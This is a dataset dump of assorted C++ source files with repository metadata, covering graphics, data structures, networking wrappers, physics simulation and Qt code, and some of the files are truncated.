blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 2 247 | content_id stringlengths 40 40 | detected_licenses listlengths 0 57 | license_type stringclasses 2
values | repo_name stringlengths 4 111 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringlengths 4 58 | visit_date timestamp[ns]date 2015-07-25 18:16:41 2023-09-06 10:45:08 | revision_date timestamp[ns]date 1970-01-14 14:03:36 2023-09-06 06:22:19 | committer_date timestamp[ns]date 1970-01-14 14:03:36 2023-09-06 06:22:19 | github_id int64 3.89k 689M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 25
values | gha_event_created_at timestamp[ns]date 2012-06-07 00:51:45 2023-09-14 21:58:52 ⌀ | gha_created_at timestamp[ns]date 2008-03-27 23:40:48 2023-08-24 19:49:39 ⌀ | gha_language stringclasses 159
values | src_encoding stringclasses 34
values | language stringclasses 1
value | is_vendor bool 1
class | is_generated bool 2
classes | length_bytes int64 7 10.5M | extension stringclasses 111
values | filename stringlengths 1 195 | text stringlengths 7 10.5M |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
5d50dd0c0609733dca7f22c7da56c3db59224455 | 4fc13bebc0b078b57abee40fa1ff0699a4c1a84b | /include/cql/exceptions/cql_read_timeout_exception.hpp | f42495c5d3545fffe7aabb9b24b5dd374dd068ad | [
"Apache-2.0"
] | permissive | manuel-arguelles/cpp-driver | bd905ae7b54d7a6749b91e3f901c09fcfb412162 | 67188efb5aede2a3869f6b2849718833d0a23b08 | refs/heads/master | 2021-01-16T22:33:14.427924 | 2014-06-05T13:30:55 | 2014-06-05T13:30:55 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,297 | hpp | cql_read_timeout_exception.hpp |
/*
* File: cql_read_timeout_exception.hpp
* Author: mc
*
* Created on September 16, 2013, 9:53 AM
*/
#ifndef CQL_READ_TIMEOUT_EXCEPTION_H_
#define CQL_READ_TIMEOUT_EXCEPTION_H_
#include <string>
#include "cql/exceptions/cql_query_timeout_exception.hpp"
namespace cql {
// A Cassandra timeout during a read que... |
137b0f33afcc0f29a9972e3855dec97791a0f517 | 57be58ec58c9a6c22a7c9f00e86b3e26cca40a5c | /cpp_support/change_signature_siblings.cpp | a1ac3d9672a7a06942e9fe94d09b54dea7c2aa91 | [] | no_license | anastasiak2512/CLion2018_1Demo | 008d30a85686afbf56c7db4933ef4c2d88930f21 | 1e17072aa48ad1e0737de690087ea5e805a0537f | refs/heads/master | 2021-04-03T06:02:13.185392 | 2018-03-24T20:30:53 | 2018-03-24T20:30:53 | 125,063,521 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 380 | cpp | change_signature_siblings.cpp | //Rename and Change Signature refactorings now update functions in all inheritance branches,
// including sibling functions.
// For example, rename Bird::jump function and agree to rename the base function.
class Animal {
virtual void jump() = 0;
};
class Bird: public Animal {
void jump() override {};
};
cla... |
6add211a2e8fbbaa8fed3a2acfb5d4f2cc5d9db7 | 25e1610996ec35ebc32bbadaf01c1706c754110e | /glorious/Transform.cpp | 6145c3e14239e9a97eff20417e11b76304f654d1 | [] | no_license | ianpas/glorious | 7f94f726945465a947cf583cf78c1a55c5e08f19 | 8ed3b7c1d552d97c7d2250f201a2d59606679171 | refs/heads/master | 2021-01-24T20:26:08.036898 | 2018-02-28T12:15:53 | 2018-02-28T12:15:53 | 123,251,353 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,179 | cpp | Transform.cpp | #include "stdafx.h"
#include "Transform.h"
namespace Glorious
{
Transform::Transform(IGameObject* game_object)
:Component(game_object)
{
m_Position = DirectX::XMFLOAT3{ 0.f,0.f,0.f };
m_Rotation = DirectX::XMFLOAT3{ 0.f,0.f,0.f };
m_Scale = DirectX::XMFLOAT3{ 1.f,1.f,1.f };
}
inline DirectX::XMMATRIX XM_C... |
5a7750055dd50d4d0ce29a8eda48920d0c658047 | 90e41f8a429238d012ab52ed484c330cbfb8e263 | /irrlicht/color.h | cf4bfbf0c5a7669558ed449159b117c5ecfee088 | [] | no_license | tianyahechy/irrltchStudy | eef5dca3ead511006cea1372b72afa538fc5550b | 30a0d54b46f6b92486364c2157cffa597f506cd3 | refs/heads/master | 2021-06-15T11:54:37.549149 | 2021-04-05T03:48:47 | 2021-04-05T03:48:47 | 135,992,804 | 1 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 3,301 | h | color.h | #pragma once
#include "irrtypes.h"
namespace irr
{
namespace video
{
inline s16 RGB16(s32 r, s32 g, s32 b)
{
return (((r >> 3) & 0x1F) << 10) | (((g >> 3) & 0x1F) << 5) | ((b >> 3) & 0x1F);
}
inline s16 X8R8G8B8toAlR5G5B5(s32 color)
{
return RGB16(color >> 16, color >> 8, color);
}
i... |
185bd3f49fe0e8fbe6a8baf1927e4d4e98a05887 | 7d31d98823e83ad5133988c3f54c56e655165eff | /implementation/string.h | 3e0fca7f9785abbecbf3f2f0cb271a8346cfcf3d | [] | no_license | Lnc/gho_include | 68ed6f54afd9ff64acb2800ffc97fb2232082508 | d2ac22310591b7bdbc959eba1f141ee8ff471782 | refs/heads/master | 2021-01-01T16:56:39.845944 | 2015-04-24T21:12:43 | 2015-04-24T21:12:43 | 28,903,716 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 17,719 | h | string.h | // Copyright © 2014-2015 Inria, Written by Lénaïc Bagnères, lenaic.bagneres@inria.fr
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// U... |
1a6dd08ee8b2e0a9c756bb2d6908dcd8b3349fbe | 700b7d7811a7a5968dedb2450563e6bd47d51c57 | /REDSI_1160929_1161573/ListaCamara.cpp | 919a6a032cf8020d5f0a4c6cad1073c97cf96e90 | [
"MIT"
] | permissive | Wultyc/ISEP_1718_2A2S_REDSI_TrabalhoGrupo | 36de1d361bf72192dce904fcd64ca3485ee29628 | eb0f7ef64e188fe871f47c2ef9cdef36d8a66bc8 | refs/heads/master | 2020-04-17T13:09:46.419161 | 2019-08-05T21:13:15 | 2019-08-05T21:13:15 | 166,603,849 | 0 | 0 | null | null | null | null | WINDOWS-1250 | C++ | false | false | 1,152 | cpp | ListaCamara.cpp | #include "ListaCamara.h"
#include "stdafx.h"
using namespace std;
ListaCamaras::ListaCamaras(){
//ctor
}
ListaCamaras::~ListaCamaras(){
//dtor
}
vector<Camara> ListaCamaras::getList(){
return *camaras;
}
bool ListaCamaras::importdata(string conditions) {
return true;
}
bool ListaCam... |
79710c663b1b0c5d4d845660bf03f4168330cc8e | b722463d2201cf57a33551b72be4512d0ee33700 | /include/mainwindow.h | 2fe79810826db57940836d99fd8026e1af5d8644 | [] | no_license | squigglepuff/honeycomb_test | ccf60cd1319d17617d57562f5400631bf9ffc10d | 6bd28c0f8e86b0c888eb2d537cba26954bd59c38 | refs/heads/master | 2020-03-28T04:40:22.196783 | 2018-09-06T22:22:12 | 2018-09-06T22:22:12 | 147,729,187 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 601 | h | mainwindow.h | #ifndef MAINWINDOW_H
#define MAINWINDOW_H
#include <QMainWindow>
#include <QPaintEvent>
#include <QPainter>
#include <QAction>
#include "include/honeycomb.h"
class CMainWindow : public QMainWindow
{
Q_OBJECT
public:
explicit CMainWindow(QWidget *parent = 0);
~CMainWindow();
protected:
void paintEve... |
a2f72fcf1d1858b837658e2a6e8181bd379799a3 | ea60d9362d98d49ccdf0b8d5a5b781a218dae02b | /main.cpp | 1e10bc2310357f1848823a30f0f224586b2f7ea2 | [] | no_license | xcastilho/pg-projeto1 | 012dbd6c1664124c5aec8ad243535a4c44f61011 | d8fc51209b0151dc27f35f28441d80acc9b433f3 | refs/heads/master | 2016-08-08T20:30:14.354605 | 2013-03-10T06:55:52 | 2013-03-10T06:55:52 | null | 0 | 0 | null | null | null | null | ISO-8859-1 | C++ | false | false | 8,514 | cpp | main.cpp | #include <cstdio>
#include <vector>
#include <initializer_list>
#include <allegro5/allegro.h>
#include <allegro5/allegro_native_dialog.h>
#include <allegro5/allegro_primitives.h>
#define DEBUG 0 //mudar para 1 ativa as mensagens de debug
#define screenHeight 600
#define screenWidth 900
#define windowName ... |
7c73f32fe4df06a6283bfe219154c6be90ba633f | 0eff74b05b60098333ad66cf801bdd93becc9ea4 | /second/download/httpd/gumtree/httpd_old_log_5190.cpp | 8dfc216b1fcd1827812eca990aee30c764630fa7 | [] | no_license | niuxu18/logTracker-old | 97543445ea7e414ed40bdc681239365d33418975 | f2b060f13a0295387fe02187543db124916eb446 | refs/heads/master | 2021-09-13T21:39:37.686481 | 2017-12-11T03:36:34 | 2017-12-11T03:36:34 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 229 | cpp | httpd_old_log_5190.cpp | ap_log_error(APLOG_MARK, APLOG_WARNING, 0, s,
"MaxClients of %d exceeds ServerLimit value "
"of %d, decreasing to match",
ap_daemons_limit, server_limit); |
08581ffe21553b64fbf8e13466cf7e4d8ec508ee | a34746fd43f7d665e71be817a7e26819b2ae4e04 | /2. Quản Lý Sinh Viên Version 2/main.cpp | ed2ddd05a8b95b739925f5bed507d6d5328d9c42 | [] | no_license | tophuocnguyen/hoc_git | 14d55e7c6447785d8a724981b233dfeb8d40f460 | 07141d43fcc061d8958fe4bae2131c9630ea8503 | refs/heads/master | 2021-06-06T19:40:13.632730 | 2016-09-19T12:06:27 | 2016-09-19T12:06:27 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 174 | cpp | main.cpp | #include "SinhVien.h"
int main()
{
SinhVien sv1;
sv1.Nhap();
sv1.Xuat();
float Dtb = sv1.TinhDiemTrungBinh();
cout << "\nDtb = " << Dtb;
system("pause");
return 0;
} |
ad41c80629794c8b3d2ce9af981e2e9271aea3fc | 16137a5967061c2f1d7d1ac5465949d9a343c3dc | /cpp_code/threads/p7-threadarg.cpp | 6ff86840e59832646eb3df2af65e1824c183c08a | [] | no_license | MIPT-ILab/cpp-lects-rus | 330f977b93f67771b118ad03ee7b38c3615deef3 | ba8412dbf4c8f3bee7c6344a89e0780ee1dd38f2 | refs/heads/master | 2022-07-28T07:36:59.831016 | 2022-07-20T08:34:26 | 2022-07-20T08:34:26 | 104,261,623 | 27 | 4 | null | 2021-02-04T21:39:23 | 2017-09-20T19:56:44 | TeX | UTF-8 | C++ | false | false | 372 | cpp | p7-threadarg.cpp | #include <thread>
#include <cstdio>
using namespace std;
void
my_thread_func (const char *msg)
{
printf ("%s\n", msg);
}
void
increment(int& i)
{
++i;
}
int
main (void)
{
int x = 42;
std::thread t1 (my_thread_func, "Hello, world!");
t1.join ();
std::thread t2 (increment, std::ref (x));
t2.join ()... |
dd27fec184ce628c4c0c97655dc66ee2cdbeff93 | 28b800bffa06b8322da2829a42dd1835680c53a5 | /EasyX/mouse.cpp | 189841a9bae206a4985ed97e378afe34560ffe26 | [] | no_license | chenhangjun/C_GAME | 8fe565c0e21a336fe59b2c515b2270f76d0de77c | 4efb023dee6a5da739fcc032e0cc64e6ec31c3a2 | refs/heads/master | 2020-05-25T15:06:00.147394 | 2019-05-21T15:03:51 | 2019-05-21T15:03:51 | 187,859,716 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 393 | cpp | mouse.cpp | #include<graphics.h>
#include<conio.h>
int main()
{
initgraph(640, 480);
MOUSEMSG m;
while(1)
{
m = GetMouseMsg();
if(m.uMsg == WM_MOUSEMOVE)
{
putpixel(m.x, m.y, WHITE);
}
else if(m.uMsg == WM_LBUTTONDOWN)
{
rectangle(m.x - 5, m.y - 5, m.x + 5, m.y + 5);
}
else if(m.uMsg ==... |
f866b42c68dd76678404f0d42a44bf41b9792aa9 | 48268e229a67a81cfe4f69a9482efb698f1209dd | /NetSurvey/SourceTree.cpp | b1768ee00447a74aefced9fbc0c7b9705c1a5f58 | [] | no_license | jamping/NetSurvey | 0ae37be13f05bc74b3489c08914fd4fd0b900024 | f9029c37a99470212502c2390d30862882bd10b5 | refs/heads/master | 2021-01-19T14:45:55.765258 | 2017-08-21T07:00:56 | 2017-08-21T07:00:56 | 100,921,126 | 0 | 1 | null | null | null | null | GB18030 | C++ | false | false | 15,915 | cpp | SourceTree.cpp | #include "StdAfx.h"
#include "SourceTree.h"
#include "NetSurvey.h"
#include "progressbar.h"
#include "FilePathDlg.h"
#include "ExportExcelDlg.h"
#include "Application.h"
#include "Workbooks.h"
#include "Workbook.h"
#include "Worksheets.h"
#include "Worksheet.h"
#include "Range.h"
#include "Borders.h"
CSo... |
60faef2f6158bb27caf45b7189fd5482bad3fa3c | a9ab72c3dd7fdfe8b6e0b1b5e296bf4c39b9989d | /round1/leetcode69.cpp | 12d099a3525c473cea5722d52aaa4c69fc2c2b5a | [] | no_license | keqhe/leetcode | cd82fc3d98b7fc71a9a08c5e438aa1f82737d76f | 86b2a453255c909f94f9ea3be7f2a97a6680a854 | refs/heads/master | 2020-12-24T06:38:15.444432 | 2016-12-07T19:15:02 | 2016-12-07T19:15:02 | 48,405,123 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 642 | cpp | leetcode69.cpp |
class Solution {
public:
//when consufed by edge condiftions, think about the example; x = 5
int helper(int x, int left, int right) {
while (left <= right) {
int mid = left + (right - left) / 2;
unsigned long long m1 = (long)mid*mid;
if (m1 == x ) {
... |
ffafeabe5d3aa20f4d31882b4797dfa25c5c7d86 | b8643959d29cdb8b35bec8732ade26d599cd7d6c | /stos_cpp/stack.cpp | 6a2e522cc589f5f1056f52dee21a95bc76f09080 | [] | no_license | goczalk/PP2 | b40f1d4c53c2d26628a3f99d0961309a05ab699d | 4f22f5ef6578c33c842afb0bf73791d5ef2ee852 | refs/heads/master | 2021-01-10T23:53:33.375812 | 2017-01-09T10:41:18 | 2017-01-09T10:41:18 | 70,092,067 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,802 | cpp | stack.cpp | #include <stdlib.h>
#include <stdio.h>
#include <stdbool.h>
#include "stack.hpp"
//kontruktor
Stack::Stack(){
printf("konstuktor\n");
this->size = 0;
this->index = 0;
this->buffer = 0;
}
//destruktor
Stack::~Stack(){
printf("destruktor\n");
free(this->buffer);
}
//wyczysc wartosc... |
b5934ecb96336b1744e30b4f13f709db67146970 | b2b7b0ed5c395246adf11b3bb134ac5effed719a | /src/frame_work/qt/QProtocolLoader.h | 3d0d70ff85b6bcbb450285184f5ecd39f7bb4f94 | [] | no_license | samiavasil/temporary | b2eedb4a169d4b96f8c3882768a5a5f63613aeee | b04d5584a8fe2333fba974bf523716727ad61bcb | refs/heads/master | 2021-07-24T08:44:07.883480 | 2017-02-13T22:53:13 | 2017-02-13T22:53:13 | 81,765,300 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 879 | h | QProtocolLoader.h | #ifndef _QPROTOCOLLOADER_H
#define _QPROTOCOLLOADER_H
#include "base/global.h"
#include "base/CProtocolLoader.h"
enum{
#define GEN_MSG_ENUMS
#include"ProtoGen.h"
};
enum{
#define GEN_PKT_ENUMS
#include"ProtoGen.h"
};
class FRAME_WORKSHARED_EXPORT QProtocolLoader : public CProtocolLoader {
protected:
virtu... |
69bee58b63aae81516ee759e6a902fedeecf4356 | 23f81c9b384009f589a6c06a019c4cf60e496803 | /Engine/engine.cpp | a9dfc45add51ff4499a8b77d5089f872d6ae30ba | [] | no_license | Fippel/Engine | ef63ef24188617c495054e68e45c32fb82e34582 | 42d13b6ef04359aa1905f3b4565cb17ab8ce080d | refs/heads/master | 2021-07-18T09:33:31.998150 | 2018-12-21T21:35:44 | 2018-12-21T21:35:44 | 136,104,060 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 155 | cpp | engine.cpp | #include "engine.hpp"
#include "terrain.hpp"
#include "SDL2/SDL.h"
Engine* Engine::_instance;
Engine::Engine() {
}
int Engine::run() {
return 0;
} |
4108cc290d9b53de2e89b747dc7f723db3717873 | b7b78d24e1f71837130610f66b0c65f07404d4fd | /source/filepicker.cpp | f6fbd3ba3dde3ffe49b5da0f09c3ac374b02a276 | [] | no_license | JaySea77/Thenaya | 775b5238ccc4bbb134d6449c540756558f3dd255 | f7184308d2ebdb2c0e4c246c50a2ea9c9acbd3b0 | refs/heads/master | 2022-11-17T17:31:27.945145 | 2022-11-11T16:49:00 | 2022-11-11T16:49:00 | 163,771,314 | 9 | 0 | null | 2019-01-01T22:35:17 | 2019-01-01T22:35:17 | null | UTF-8 | C++ | false | false | 6,254 | cpp | filepicker.cpp | #include <3ds.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/dirent.h>
#include "ui.h"
#include "filepicker.h"
#include <list>
#include <iostream>
using namespace std;
class FileInfo {
public:
char* nam... |
a688407e7a8885cc2c07a809d356745325680013 | 1b02d62d6d11786aff7c69093a3df75ed58bdd0e | /superlight/geom.cpp | 37271a69b4afe6c20fc9f43cd2195a9ac538843a | [
"MIT"
] | permissive | KonstantinosKr/deltaserial | 84c2aa0ded4671bfe6b2a792ba3b411797d6573d | 5f7cbee53316d9b0101f6557f4339ac091cbdb2c | refs/heads/master | 2021-01-10T16:46:19.406723 | 2016-02-20T21:10:02 | 2016-02-20T21:10:02 | 49,652,749 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 8,688 | cpp | geom.cpp | #include "geom.h"
void refine(int s, int nt, iREAL *t[3][3], int *tid, int *pid, int times);
void getCentroid(int pid, int range1, int range2, iREAL *t[3][3], iREAL *centroid[6])
{
iREAL cx=0;
iREAL cy=0;
iREAL cz=0;
for(int i=range1;i<range2;i++)
{
cx = cx+t[0][0][i];
cy = cy+t[0][1][i];
cz = ... |
c47d6b72d122fdc2caadfbaf32ae8660555e1fd5 | 6317c61ce16ef9125e7a44059ac453819cc93891 | /SheppLoganPhantom.h | f2e18c97eace06e724231ea65f5e1705137a4e5c | [] | no_license | jhlegarreta/SheppLoganPhantom | fb284920c109b1c54fc9437a0b7bf6cda2f9ff3a | 6a8d4ac18ad170a6f54dcf64f19b744f12474a87 | refs/heads/master | 2021-01-09T20:20:42.614795 | 2013-06-03T03:45:41 | 2013-06-03T03:45:41 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 412 | h | SheppLoganPhantom.h | #ifndef __itkSheppLoganPhantom_h
#define __itkSheppLoganPhantom_h
#include <vtkSmartPointer.h>
#include <string>
#include <vector>
#include <vtkMatrix4x4.h>
#include "SheppLoganPhantomPart.h"
class SheppLoganPhantom
{
public:
typedef std::vector<SheppLoganPhantomPart> PartContainerType;
SheppLoganPhantom();
c... |
750e12d7d9809153a33ebf9498a370d41b31eb62 | ec9452c4b59a23589d45c1324b9d0a488b1b73dc | /modules/csharp/network/TCPLink.h | 2bdab653753377e623c317ab8efd036526a28918 | [] | no_license | NGCP/CommProtocol | 107767c40c4a2e0e84857295c922effd054c5a58 | b48217a893cf93cc637c6fa34dc77998a390388b | refs/heads/Dev-2018 | 2021-01-13T10:57:29.664094 | 2019-02-28T05:06:41 | 2019-02-28T05:06:41 | 72,263,319 | 1 | 5 | null | 2018-06-05T06:37:50 | 2016-10-29T03:42:54 | C++ | UTF-8 | C++ | false | false | 4,205 | h | TCPLink.h | /*
C++/CLI Wrapper for TCPLink
Copyright (C) 2016 Michael Wallace, Mario Garcia.
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later versi... |
033757e1816cd8e7fd4668fa61e9a13c430b6756 | 00d66b0743d2a44e3b1173f2c8eda18479f9b0da | /svt/shader/include/svt_shader_cg_ao.h | c43f1ebde45bb2abe1e836f5f9503e356b85aa25 | [] | no_license | biomachina-lab/Sculptor | f72c8c924423194da847b407d33da1e6be6fd51c | 3276b6cf55b681bb8c03ed464727d4f3f576b7f8 | refs/heads/master | 2021-01-23T18:56:39.440776 | 2015-01-17T05:05:18 | 2015-01-17T05:05:18 | 29,320,420 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 8,851 | h | svt_shader_cg_ao.h | /*-*-c++-*-*****************************************************************
svt_shader_cg_ao.h
---------------
begin : 24/02/2010
author : Manuel Wahle
email : sculptor@biomachina.org
**************************... |
874c4e525a4c4591a32a13a1d4b8f9966b868a47 | 4785a62c5589cd4ea0e33d8663c5db903ac76b4c | /Sandbox/Anahy/Daemon.h | 527dfe5a2a30ff88596464e45f20675b3ac8e81b | [] | no_license | giacobo1/Anahy3 | ada54c9535fb476080fcdacff481f3762da73d67 | 0062e610e30cda8ccb5ffe409420d0d5890f9d31 | refs/heads/master | 2021-01-22T01:42:43.410506 | 2013-08-28T19:25:48 | 2013-08-28T19:25:48 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,906 | h | Daemon.h | #ifndef DAEMON_H
#define DAEMON_H
#include <pthread.h>
#include <queue>
#include <list>
#include <vector>
#include <fstream>
using namespace std;
class Job;
class Daemon;
class VirtualProcessor;
enum VPEventType { GetJob, NewJob, EndOfJob, DestroyJob,
EndOfProgram };
class VPEvent {
VPEventType type;
VirtualPr... |
9c86dec3851629119caa7b1676c23507c2f0d436 | b2924214aaeca4813d443611e303c008a56c07e3 | /mainwindow.cpp | afcf3a9f626dc5925ee92bab6f7d25744c77cbf9 | [] | no_license | rusmanr/pidsimulator | 8bab4a44e45c10ff52a0fd7e32d9c24a96690119 | 150be5ff180a446037a7af9393481bb4a5ce4588 | refs/heads/master | 2016-08-05T06:48:23.515038 | 2015-07-07T03:46:02 | 2015-07-07T03:46:02 | 38,662,081 | 0 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 7,813 | cpp | mainwindow.cpp | #include "mainwindow.h"
#include "ui_mainwindow.h"
#include <qwt_plot.h>
#include <qwt_plot_marker.h>
#include <qwt_plot_curve.h>
#include <qwt_legend.h>
#include <qwt_point_data.h>
#include <qwt_plot_canvas.h>
#include <qwt_plot_panner.h>
#include <qwt_plot_magnifier.h>
#include <qwt_text.h>
#include <qwt_symbol.h>
#i... |
2763d1a7b0a3050e6bf19d7070f13f85c1797d5d | cee3def0096ceb7ed34e03278d8037ef5b48fa3e | /Shared/Base/Memory/DataPtr.h | 3a0fd1473bc04b36903c85f669dce379e9801495 | [
"MIT"
] | permissive | theblacklotus/4edges | 6d07de878884fa48684bf544f09fc5b258a0b781 | 11f8c2a1e40271c542321d9d4d0e4ed24cce92c8 | refs/heads/master | 2021-06-03T06:55:49.516807 | 2011-05-09T11:37:16 | 2011-05-09T11:37:16 | 337,644,963 | 8 | 2 | null | null | null | null | UTF-8 | C++ | false | false | 3,863 | h | DataPtr.h | /*
Copyright (c) 2004-2006 Jesper Svennevid, Daniel Collin
Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in
the Software without restriction, including without limitation the rights to
use, copy, modify, merge... |
3df48ef22622d6897f113509259591ace2a6847d | 045439c38d8183931268d2380a77abd8a924d456 | /timer.hpp | 5b62e515bcf8d18411d891ab45ab4355a26dbbca | [] | no_license | rgoomes/cg2015 | ce84a209652f0f40dc8b66ef6eb6becc9a990e2e | aae996445ed598b9ab46fd1b9f90c53c11407efb | refs/heads/master | 2020-04-15T09:55:37.624524 | 2015-06-17T11:59:56 | 2015-06-17T11:59:56 | 32,315,691 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 235 | hpp | timer.hpp | #ifndef TIMER_H
#define TIMER_H
#include <GLFW/glfw3.h>
class Timer {
public:
Timer();
public:
bool started;
double start_time, stop_time=0;
double elapsed();
void start();
void stop();
bool ticking();
};
#endif |
0333c3272e874c943939193115c3945e1326f46e | aeafea14dbf633a796f00806480f9c9b0137ab24 | /Project 3/Source Code_EE_569_Hw_Assignment_3_8541324935_Chattopadhyay/HW3Prob1b.cpp | 85069bdd705cb203d77fb4d3ce19533e59179164 | [] | no_license | TamoghnaChattop/EE-569---Digital-Image-Processing | 95eb9135c449fb106a5d18db65677b8499588f76 | 687f91a2fdbedd669babe85fe32cc533a05ae888 | refs/heads/master | 2020-03-16T06:10:38.298239 | 2018-05-08T05:09:20 | 2018-05-08T05:09:20 | 132,548,567 | 0 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 10,421 | cpp | HW3Prob1b.cpp | // EE569 Homework Assignment #3
// Date: March 7, 20018
// Name: Tamoghna Chattopadhyay
// ID: 8541324935
// email: tchattop@usc.edu
#include <stdio.h>
#include <iostream>
#include <fstream>
#include <math.h>
#include <algorithm>
#include <stdlib.h>
#include <time.h>
class image
{
p... |
3deede5bb30977f7b4c67ea724505bab572d6d15 | aaf50a46800ec1fa0cec41589493fb762c90e137 | /Lecture-06/PointerArithmetic.cpp | 7c8605f0643239d8f2e7b8fef6559996d1738c87 | [] | no_license | nimishagupta1999/LPAAug18_Noida | 10cb1b7006f335bf3ba75ecef3ee0e915cb62b5d | cc2bbbe13f798572a4dcd95deaaa311a4d02536c | refs/heads/master | 2021-09-26T23:27:20.743073 | 2018-11-04T14:02:40 | 2018-11-04T14:02:40 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 182 | cpp | PointerArithmetic.cpp | #include <iostream>
using namespace std;
int main(){
int x=10;
int *ptr=&x;
cout<<ptr++<<endl;
cout<<(*ptr++)<<endl;
cout<<(ptr+5)<<endl;
cout<<((*ptr)++)<<endl;
return 0;
} |
7e5e400f619a5cd60d6a0003ac0d327eca61f9b1 | 3308dce07b6e551708fc6c3e7fd3a043f14717d3 | /libraries/chain/cheque_object.cpp | 6272ffdd90696d4a213db9f51494b35271ad5f4d | [
"MIT"
] | permissive | EDCBlockchain/blockchain | e7067c0a5a4e7cb3c149862bbed80b1d9ad4bae9 | e22bf21a1aae92b5d9da93fa716deec893258e57 | refs/heads/master | 2022-02-04T09:40:13.944559 | 2022-01-26T15:39:43 | 2022-01-26T15:39:43 | 175,849,006 | 15 | 11 | null | null | null | null | UTF-8 | C++ | false | false | 2,118 | cpp | cheque_object.cpp | #include <graphene/chain/cheque_object.hpp>
#include <graphene/chain/asset_object.hpp>
#include <fc/uint128.hpp>
#include <boost/range.hpp>
#include <iostream>
#include <iomanip>
namespace graphene { namespace chain {
void cheque_object::allocate_payees(uint32_t payees_count) {
payees.resize(payees_count);
... |
f93abe43d59cfb764ee5850a6b1529bd6800893b | 9c73501c5a8413753ed5776299fe1f62a0a2659e | /include/DREAM/Equations/EffectiveCriticalField.hpp | 511d493057b55e65e9ee7a733b4647b8ad840453 | [
"MIT"
] | permissive | anymodel/DREAM-1 | 5d1ac63ffc48157f110ef672036d801442a2c917 | eba9fabddfa4ef439737807ef30978a52ab55afb | refs/heads/master | 2023-08-23T05:01:13.867792 | 2021-10-28T19:45:33 | 2021-10-28T19:45:33 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,618 | hpp | EffectiveCriticalField.hpp | #ifndef _DREAM_EQUATIONS_EFFECTIVE_CRITICAL_FIELD_HPP
#define _DREAM_EQUATIONS_EFFECTIVE_CRITICAL_FIELD_HPP
namespace DREAM { class EffectiveCriticalField; }
#include "DREAM/Equations/REPitchDistributionAveragedBACoeff.hpp"
#include "DREAM/Equations/AnalyticDistributionRE.hpp"
#include "DREAM/Equations/PitchScatter... |
7ca953ecd69fd315e17921d837bdaacee037bda1 | c422c5e276cd6e47975dbe60bf20091fe01ca07d | /curl/curl.cc | 9d2bc44bc549374635cc10feddea28b0da657e88 | [] | no_license | maurodelazeri/cpp-swiss-army-knife | 05dc4ded694d1b31351735b02201aa1375ef3370 | 03139fd535ca1b9945b750a850be990e2f8efa46 | refs/heads/master | 2020-08-06T15:40:08.052396 | 2019-10-05T19:37:10 | 2019-10-05T19:37:10 | 213,060,203 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 7,478 | cc | curl.cc | #include "httpcurl.h"
static void dummy(const std::shared_ptr <Channel> &) {
}
Request::Request(Curl *owner, const char *url, const char *data, size_t len)
: owner(owner),
curl(curl_easy_init()) {
setopt(CURLOPT_URL, url);
setopt(CURLOPT_WRITEFUNCTION, &Request::writeData);
s... |
e8d651f592c80d1c4bfa434524b4fdbf548c4980 | aaf998cea83f1a1f084a874854e5db616f8d0774 | /include/proxy/proxy_chain.hpp | f1d2cc3136f25756931bd9192db7047da489d8a0 | [] | no_license | avplayer/libcppweb | 7fa5473048bc31daee324d7442fa5ef2075af31e | 020773835d404e93388f165bd2f0ad1478c631ad | refs/heads/master | 2021-09-04T05:25:37.627062 | 2018-01-16T09:27:59 | 2018-01-16T09:27:59 | 106,003,517 | 8 | 3 | null | null | null | null | UTF-8 | C++ | false | false | 2,181 | hpp | proxy_chain.hpp |
#pragma once
#include <type_traits>
#include <vector>
#include <functional>
#include <memory>
#include <boost/asio/io_service.hpp>
#include <boost/tti/has_member_function.hpp>
BOOST_TTI_HAS_MEMBER_FUNCTION(get_io_context)
namespace proxy{
class proxy_interface
{
typedef std::function<void(boost::system::error_... |
f47fff52e68c91293502428e9647305f430e82ab | 4f4ea854df57269628ef8b68a6e445560af4a449 | /bin/release/release/moc_lengthmeasurementcameraworker.cpp | c1084fdd4c3e0cfe8a121d893d1d7953039c279f | [] | no_license | arduinoNube/AutonomousPatchClamp | 33d6993fc358881dd887ab28802051cbd85b3376 | 3dea8f03598747d647149376d144cab85065aa9c | refs/heads/master | 2022-07-13T09:54:49.200114 | 2020-05-13T21:44:23 | 2020-05-13T21:44:23 | 263,674,412 | 0 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 7,465 | cpp | moc_lengthmeasurementcameraworker.cpp | /****************************************************************************
